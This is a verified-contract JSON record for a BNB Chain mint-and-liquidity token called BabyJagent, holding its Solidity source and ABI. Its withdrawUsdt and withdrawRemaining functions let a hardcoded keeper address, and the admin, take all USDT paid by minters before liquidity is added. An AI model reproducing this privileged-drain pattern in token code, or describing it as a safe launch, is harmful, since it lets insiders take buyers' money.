{"sources":{"Bjagent.sol":{"content":"// SPDX-License-Identifier: MIT\r\npragma solidity ^0.8.24;\r\n\r\ninterface IAgentId {\r\n    function handleOf(address owner) external view returns (string memory);\r\n}\r\n\r\ninterface IPancakeFactory {\r\n    function createPair(address tokenA, address tokenB) external returns (address pair);\r\n}\r\n\r\ninterface IPancakeRouter {\r\n    function addLiquidity(\r\n        address tokenA,\r\n        address tokenB,\r\n        uint256 amountADesired,\r\n        uint256 amountBDesired,\r\n        uint256 amountAMin,\r\n        uint256 amountBMin,\r\n        address to,\r\n        uint256 deadline\r\n    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r\n}\r\n\r\ncontract BabyJagent {\r\n    string public constant name = \"BabyJagent\";\r\n    string public constant symbol = \"BJAGENT\";\r\n    uint8 public constant decimals = 18;\r\n\r\n    uint256 public constant TOTAL_SUPPLY = 1_000_000_000 * 1e18;\r\n    uint256 public constant POOL_SUPPLY = 400_000_000 * 1e18;\r\n    uint256 public constant MINT_SUPPLY = 600_000_000 * 1e18;\r\n    uint256 public constant MINT_AMOUNT = 100_000 * 1e18;\r\n    uint256 public constant MAX_MINTS_PER_ADDRESS = 10;\r\n    uint256 public constant MAX_MINTS = 6_000;\r\n    uint256 public constant CHAIN_ID = 56;\r\n\r\n    address public constant agentRegistry = 0x60B9262456dE011F7d15a54CdD8c48bAaa8B022F;\r\n    address public constant factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;\r\n    address public constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\r\n    address public constant usdt = 0x55d398326f99059fF775485246999027B3197955;\r\n    address public constant usdtKeeper = 0xE00fFD8082694D241Ff733845AbF523E5D57E41d;\r\n\r\n    address public admin;\r\n    address public immutable pancakePair;\r\n\r\n    uint256 public totalSupply;\r\n    uint256 public mintedCount;\r\n    bool public saleClosed;\r\n    bool public soldOut;\r\n    bool public liquidityAdded;\r\n    uint256 private _status;\r\n\r\n    mapping(address => uint256) public balanceOf;\r\n    mapping(address => mapping(address => uint256)) public allowance;\r\n    mapping(address => uint256) public mintedByAddress;\r\n\r\n    error WrongChain();\r\n    error SupplyInvariant();\r\n    error PairCreateFailed();\r\n    error ZeroAddress();\r\n    error NotAdmin();\r\n    error NotUsdtWithdrawer();\r\n    error NoAgentId();\r\n    error MintLimit();\r\n    error MintEnded();\r\n    error SaleClosed();\r\n    error InsufficientBalance();\r\n    error InsufficientAllowance();\r\n    error UsdtFailed();\r\n    error NothingToWithdraw();\r\n    error LiquidityFailed();\r\n    error Reentrancy();\r\n\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n    event Minted(address indexed minter, uint256 indexed count, uint256 paid);\r\n    event AdminRenounced(address indexed previousAdmin);\r\n    event RemainingWithdrawn(address indexed admin, uint256 tokens, uint256 usdtAmount);\r\n    event UsdtWithdrawn(address indexed to, uint256 amount);\r\n    event LiquidityAdded(address indexed lpTo, uint256 tokens, uint256 usdtAmount);\r\n    event LiquiditySkipped(uint256 tokens, uint256 usdtAmount);\r\n\r\n    modifier nonReentrant() {\r\n        if (_status == 2) revert Reentrancy();\r\n        _status = 2;\r\n        _;\r\n        _status = 1;\r\n    }\r\n\r\n    constructor() {\r\n        if (block.chainid != CHAIN_ID) revert WrongChain();\r\n        if (\r\n            POOL_SUPPLY + MINT_SUPPLY != TOTAL_SUPPLY\r\n                || MINT_AMOUNT * MAX_MINTS != MINT_SUPPLY\r\n                || MINT_AMOUNT * MAX_MINTS_PER_ADDRESS != 1_000_000 * 1e18\r\n        ) revert SupplyInvariant();\r\n\r\n        admin = msg.sender;\r\n        totalSupply = POOL_SUPPLY;\r\n        balanceOf[address(this)] = POOL_SUPPLY;\r\n        emit Transfer(address(0), address(this), POOL_SUPPLY);\r\n\r\n        pancakePair = IPancakeFactory(factory).createPair(address(this), usdt);\r\n        if (pancakePair == address(0)) revert PairCreateFailed();\r\n        _status = 1;\r\n    }\r\n\r\n    function mintCost(uint256 alreadyMinted) public pure returns (uint256) {\r\n        if (alreadyMinted >= MAX_MINTS) return 0;\r\n        if (alreadyMinted < 100) return 1 ether;\r\n        if (alreadyMinted < 500) return 1.2 ether;\r\n        if (alreadyMinted < 1_000) return 1.4 ether;\r\n        if (alreadyMinted < 2_000) return 1.7 ether;\r\n        if (alreadyMinted < 3_000) return 2 ether;\r\n        if (alreadyMinted < 4_000) return 2.3 ether;\r\n        if (alreadyMinted < 5_000) return 2.6 ether;\r\n        return 3 ether;\r\n    }\r\n\r\n    function nextMintCost() external view returns (uint256) {\r\n        return mintCost(mintedCount);\r\n    }\r\n\r\n    function mint() external nonReentrant {\r\n        if (saleClosed) revert SaleClosed();\r\n        if (soldOut || mintedCount >= MAX_MINTS) revert MintEnded();\r\n        if (bytes(IAgentId(agentRegistry).handleOf(msg.sender)).length == 0) revert NoAgentId();\r\n        if (mintedByAddress[msg.sender] >= MAX_MINTS_PER_ADDRESS) revert MintLimit();\r\n\r\n        uint256 cost = mintCost(mintedCount);\r\n        uint256 beforeUsdt = _usdtBalance();\r\n        _usdtTransferFrom(msg.sender, address(this), cost);\r\n        if (_usdtBalance() - beforeUsdt != cost) revert UsdtFailed();\r\n\r\n        mintedCount += 1;\r\n        mintedByAddress[msg.sender] += 1;\r\n        totalSupply += MINT_AMOUNT;\r\n        balanceOf[msg.sender] += MINT_AMOUNT;\r\n\r\n        emit Transfer(address(0), msg.sender, MINT_AMOUNT);\r\n        emit Minted(msg.sender, mintedByAddress[msg.sender], cost);\r\n\r\n        if (mintedCount == MAX_MINTS) {\r\n            soldOut = true;\r\n            _addLiquidity();\r\n        }\r\n    }\r\n\r\n    function renounceAdmin() external {\r\n        if (msg.sender != admin) revert NotAdmin();\r\n        emit AdminRenounced(admin);\r\n        admin = address(0);\r\n    }\r\n\r\n    function withdrawRemaining() external nonReentrant {\r\n        if (msg.sender != admin || admin == address(0)) revert NotAdmin();\r\n        if (saleClosed || liquidityAdded) revert SaleClosed();\r\n\r\n        saleClosed = true;\r\n        uint256 unsold = MINT_SUPPLY - mintedCount * MINT_AMOUNT;\r\n        if (unsold > 0) {\r\n            totalSupply += unsold;\r\n            balanceOf[admin] += unsold;\r\n            emit Transfer(address(0), admin, unsold);\r\n        }\r\n\r\n        uint256 poolTokens = balanceOf[address(this)];\r\n        if (poolTokens > 0) {\r\n            balanceOf[address(this)] = 0;\r\n            balanceOf[admin] += poolTokens;\r\n            emit Transfer(address(this), admin, poolTokens);\r\n        }\r\n\r\n        uint256 usdtAmount = _usdtBalance();\r\n        if (usdtAmount > 0) _usdtTransfer(admin, usdtAmount);\r\n        if (unsold == 0 && poolTokens == 0 && usdtAmount == 0) revert NothingToWithdraw();\r\n        emit RemainingWithdrawn(admin, unsold + poolTokens, usdtAmount);\r\n    }\r\n\r\n    function withdrawUsdt() external nonReentrant {\r\n        if (msg.sender == admin) {\r\n            if (saleClosed || soldOut || liquidityAdded) revert SaleClosed();\r\n        } else if (msg.sender != usdtKeeper) {\r\n            revert NotUsdtWithdrawer();\r\n        }\r\n\r\n        uint256 amount = _usdtBalance();\r\n        if (amount == 0) revert NothingToWithdraw();\r\n        _usdtTransfer(msg.sender, amount);\r\n        emit UsdtWithdrawn(msg.sender, amount);\r\n    }\r\n\r\n    function transfer(address to, uint256 amount) external returns (bool) {\r\n        _transfer(msg.sender, to, amount);\r\n        return true;\r\n    }\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool) {\r\n        if (spender == address(0)) revert ZeroAddress();\r\n        allowance[msg.sender][spender] = amount;\r\n        emit Approval(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\r\n        uint256 allowed = allowance[from][msg.sender];\r\n        if (allowed != type(uint256).max) {\r\n            if (allowed < amount) revert InsufficientAllowance();\r\n            unchecked {\r\n                allowed -= amount;\r\n            }\r\n            allowance[from][msg.sender] = allowed;\r\n            emit Approval(from, msg.sender, allowed);\r\n        }\r\n        _transfer(from, to, amount);\r\n        return true;\r\n    }\r\n\r\n    function _addLiquidity() internal {\r\n        uint256 tokens = balanceOf[address(this)];\r\n        uint256 usdtAmount = _usdtBalance();\r\n        if (tokens == 0 || usdtAmount == 0) {\r\n            emit LiquiditySkipped(tokens, usdtAmount);\r\n            return;\r\n        }\r\n\r\n        allowance[address(this)][router] = tokens;\r\n        emit Approval(address(this), router, tokens);\r\n        _usdtApprove(router, 0);\r\n        _usdtApprove(router, usdtAmount);\r\n\r\n        address lpTo = admin == address(0) ? address(0) : admin;\r\n        (bool ok,) = router.call(\r\n            abi.encodeWithSelector(\r\n                IPancakeRouter.addLiquidity.selector,\r\n                address(this),\r\n                usdt,\r\n                tokens,\r\n                usdtAmount,\r\n                tokens,\r\n                usdtAmount,\r\n                lpTo,\r\n                block.timestamp\r\n            )\r\n        );\r\n        if (!ok) revert LiquidityFailed();\r\n\r\n        liquidityAdded = true;\r\n        emit LiquidityAdded(lpTo, tokens, usdtAmount);\r\n    }\r\n\r\n    function _transfer(address from, address to, uint256 amount) internal {\r\n        if (from == address(0) || to == address(0)) revert ZeroAddress();\r\n        uint256 bal = balanceOf[from];\r\n        if (bal < amount) revert InsufficientBalance();\r\n        unchecked {\r\n            balanceOf[from] = bal - amount;\r\n            balanceOf[to] += amount;\r\n        }\r\n        emit Transfer(from, to, amount);\r\n    }\r\n\r\n    function _usdtBalance() internal view returns (uint256) {\r\n        (bool ok, bytes memory data) = usdt.staticcall(abi.encodeWithSelector(0x70a08231, address(this)));\r\n        if (!ok || data.length < 32) revert UsdtFailed();\r\n        return abi.decode(data, (uint256));\r\n    }\r\n\r\n    function _usdtTransferFrom(address from, address to, uint256 amount) internal {\r\n        _usdtCall(abi.encodeWithSelector(0x23b872dd, from, to, amount));\r\n    }\r\n\r\n    function _usdtTransfer(address to, uint256 amount) internal {\r\n        _usdtCall(abi.encodeWithSelector(0xa9059cbb, to, amount));\r\n    }\r\n\r\n    function _usdtApprove(address spender, uint256 amount) internal {\r\n        _usdtCall(abi.encodeWithSelector(0x095ea7b3, spender, amount));\r\n    }\r\n\r\n    function _usdtCall(bytes memory data) internal {\r\n        (bool ok, bytes memory ret) = usdt.call(data);\r\n        if (!ok || (ret.length > 0 && !abi.decode(ret, (bool)))) revert UsdtFailed();\r\n    }\r\n}\r\n"}},"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"name":"InsufficientAllowance","type":"error","inputs":[]},{"name":"InsufficientBalance","type":"error","inputs":[]},{"name":"LiquidityFailed","type":"error","inputs":[]},{"name":"MintEnded","type":"error","inputs":[]},{"name":"MintLimit","type":"error","inputs":[]},{"name":"NoAgentId","type":"error","inputs":[]},{"name":"NotAdmin","type":"error","inputs":[]},{"name":"NotUsdtWithdrawer","type":"error","inputs":[]},{"name":"NothingToWithdraw","type":"error","inputs":[]},{"name":"PairCreateFailed","type":"error","inputs":[]},{"name":"Reentrancy","type":"error","inputs":[]},{"name":"SaleClosed","type":"error","inputs":[]},{"name":"SupplyInvariant","type":"error","inputs":[]},{"name":"UsdtFailed","type":"error","inputs":[]},{"name":"WrongChain","type":"error","inputs":[]},{"name":"ZeroAddress","type":"error","inputs":[]},{"name":"AdminRenounced","type":"event","inputs":[{"name":"previousAdmin","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"name":"Approval","type":"event","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"LiquidityAdded","type":"event","inputs":[{"name":"lpTo","type":"address","indexed":true,"internalType":"address"},{"name":"tokens","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"usdtAmount","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"LiquiditySkipped","type":"event","inputs":[{"name":"tokens","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"usdtAmount","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"Minted","type":"event","inputs":[{"name":"minter","type":"address","indexed":true,"internalType":"address"},{"name":"count","type":"uint256","indexed":true,"internalType":"uint256"},{"name":"paid","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"RemainingWithdrawn","type":"event","inputs":[{"name":"admin","type":"address","indexed":true,"internalType":"address"},{"name":"tokens","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"usdtAmount","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"Transfer","type":"event","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"UsdtWithdrawn","type":"event","inputs":[{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"amount","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"name":"CHAIN_ID","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"MAX_MINTS","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"MAX_MINTS_PER_ADDRESS","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"MINT_AMOUNT","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"MINT_SUPPLY","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"POOL_SUPPLY","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"TOTAL_SUPPLY","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"admin","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"agentRegistry","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"allowance","type":"function","inputs":[{"name":"","type":"address","internalType":"address"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"approve","type":"function","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"name":"balanceOf","type":"function","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"decimals","type":"function","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"name":"factory","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"liquidityAdded","type":"function","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"name":"mint","type":"function","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"name":"mintCost","type":"function","inputs":[{"name":"alreadyMinted","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"name":"mintedByAddress","type":"function","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"mintedCount","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"name","type":"function","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"name":"nextMintCost","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"pancakePair","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"renounceAdmin","type":"function","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"name":"router","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"saleClosed","type":"function","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"name":"soldOut","type":"function","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"name":"symbol","type":"function","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"name":"totalSupply","type":"function","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"name":"transfer","type":"function","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"name":"transferFrom","type":"function","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"name":"usdt","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"usdtKeeper","type":"function","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"name":"withdrawRemaining","type":"function","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"name":"withdrawUsdt","type":"function","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"matchId":"57558552","creationMatch":"exact_match","runtimeMatch":"exact_match","verifiedAt":"2026-10-29T15:47:37Z","match":"exact_match","chainId":"56","address":"0xd4259832AC80Ec5e27f9B8Eaaa54AC2639497B64"}